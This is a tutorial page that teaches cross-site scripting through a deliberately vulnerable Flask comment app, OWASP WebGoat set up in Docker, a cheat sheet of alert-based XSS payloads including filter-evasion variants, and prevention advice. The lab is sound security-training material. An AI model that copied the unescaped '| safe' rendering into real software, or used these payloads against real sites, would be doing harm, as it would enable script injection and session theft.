Skip to content

๐Ÿ” XSS Tutorial โ€“ Flask Lab + WebGoat + Payloads

๐Ÿ“Œ What is XSS?

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious JavaScript into webpages. These scripts can:

  • Steal cookies / sessions

  • Deface websites

  • Redirect users

  • Execute actions as other users


โš ๏ธ Types of XSS

Type Description
Stored Script is saved on the server (e.g., in a DB) and shown to others later.
Reflected Script is reflected off the server (e.g., in URLs, search, error pages).
DOM-based Script is run entirely on the client via insecure JS manipulations.

๐Ÿงช Practice XSS โ€“ Two Ways


โœ… 1. Dockerized Vulnerable Flask App

This app is intentionally vulnerable to stored XSS and is portable with Docker.

๐Ÿ“ Project Structure

xss-flask-app/
โ”œโ”€โ”€ app.py
โ”œโ”€โ”€ Dockerfile
โ””โ”€โ”€ requirements.txt

๐Ÿ“„ app.py

from flask import Flask, request, render_template_string

app = Flask(__name__)
comments = []

@app.route("/", methods=["GET", "POST"])
def home():
    if request.method == "POST":
        comment = request.form.get("comment")
        comments.append(comment)

    html = '''
    <!DOCTYPE html>
    <html>
    <head>
        <title>XSS Lab</title>
        <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
    </head>
    <body>
        <h2>Leave a Comment</h2>
        <form method="post">
            <textarea name="comment" rows="4" cols="40"></textarea><br>
            <button type="submit">Submit</button>
        </form>
        <h3>Comments</h3>
        <ul>
            {% for comment in comments %}
                <li>{{ comment | safe }}</li>  <!-- vulnerable -->
            {% endfor %}
        </ul>
    </body>
    </html>
    '''
    return render_template_string(html, comments=comments)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

๐Ÿ“„ requirements.txt

flask

๐Ÿ“„ Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 5000
CMD ["python", "app.py"]

โ–ถ๏ธ Build & Run

docker build -t xss-flask .
docker run -d -p 5000:5000 --name xss-lab xss-flask

Visit โ†’ http://localhost:5000
Try payloads like:

<script>alert('XSS!')</script>
<img src=x onerror=alert(1)>

โœ… Fix XSS

Replace:

<li>{{ comment | safe }}</li>

With:

<li>{{ comment }}</li>

โœ… Also set strict CSP headers like:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none';">

โœ… 2. Practice with OWASP WebGoat + WebWolf

๐Ÿณ Run with Docker:

docker run -d -p 8080:8080 -p 9090:9090 --name webgoat-lab webgoat/webgoat-8.2

Access:

Login:

Username: guest
Password: guest

๐Ÿ” What You Can Learn

  • Stored XSS

  • Reflected XSS

  • DOM-based XSS

  • Secure coding practices


๐Ÿง  XSS Payload Cheat Sheet

๐Ÿ”น Basic

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe src="javascript:alert(1)">

๐Ÿ”น Filter Evasion

<scr<script>ipt>alert(1)</scr<script>ipt>
<scr\0ipt>alert(1)</scr\0ipt>

๐Ÿ”น Events

<button onclick="alert('XSS')">Click</button>
<a href="#" onmouseover="alert('XSS')">Hover me</a>

๐Ÿ”น Reflected via URL

http://localhost:5000/?q=<script>alert(1)</script>

๐Ÿ”’ Prevention Tips

  • Escape all user input ({{ comment }} instead of |safe)

  • Set CSP headers

  • Use frameworks that auto-escape (Jinja2, React, Vue)

  • Validate input on both client and server


๐Ÿš€ Summary

Tool Description
Flask App Simple vulnerable app for stored XSS practice
WebGoat Full XSS lab with guided lessons via Docker
WebWolf Used alongside WebGoat for advanced challenges
Payloads Use cheat sheet to simulate real-world attacks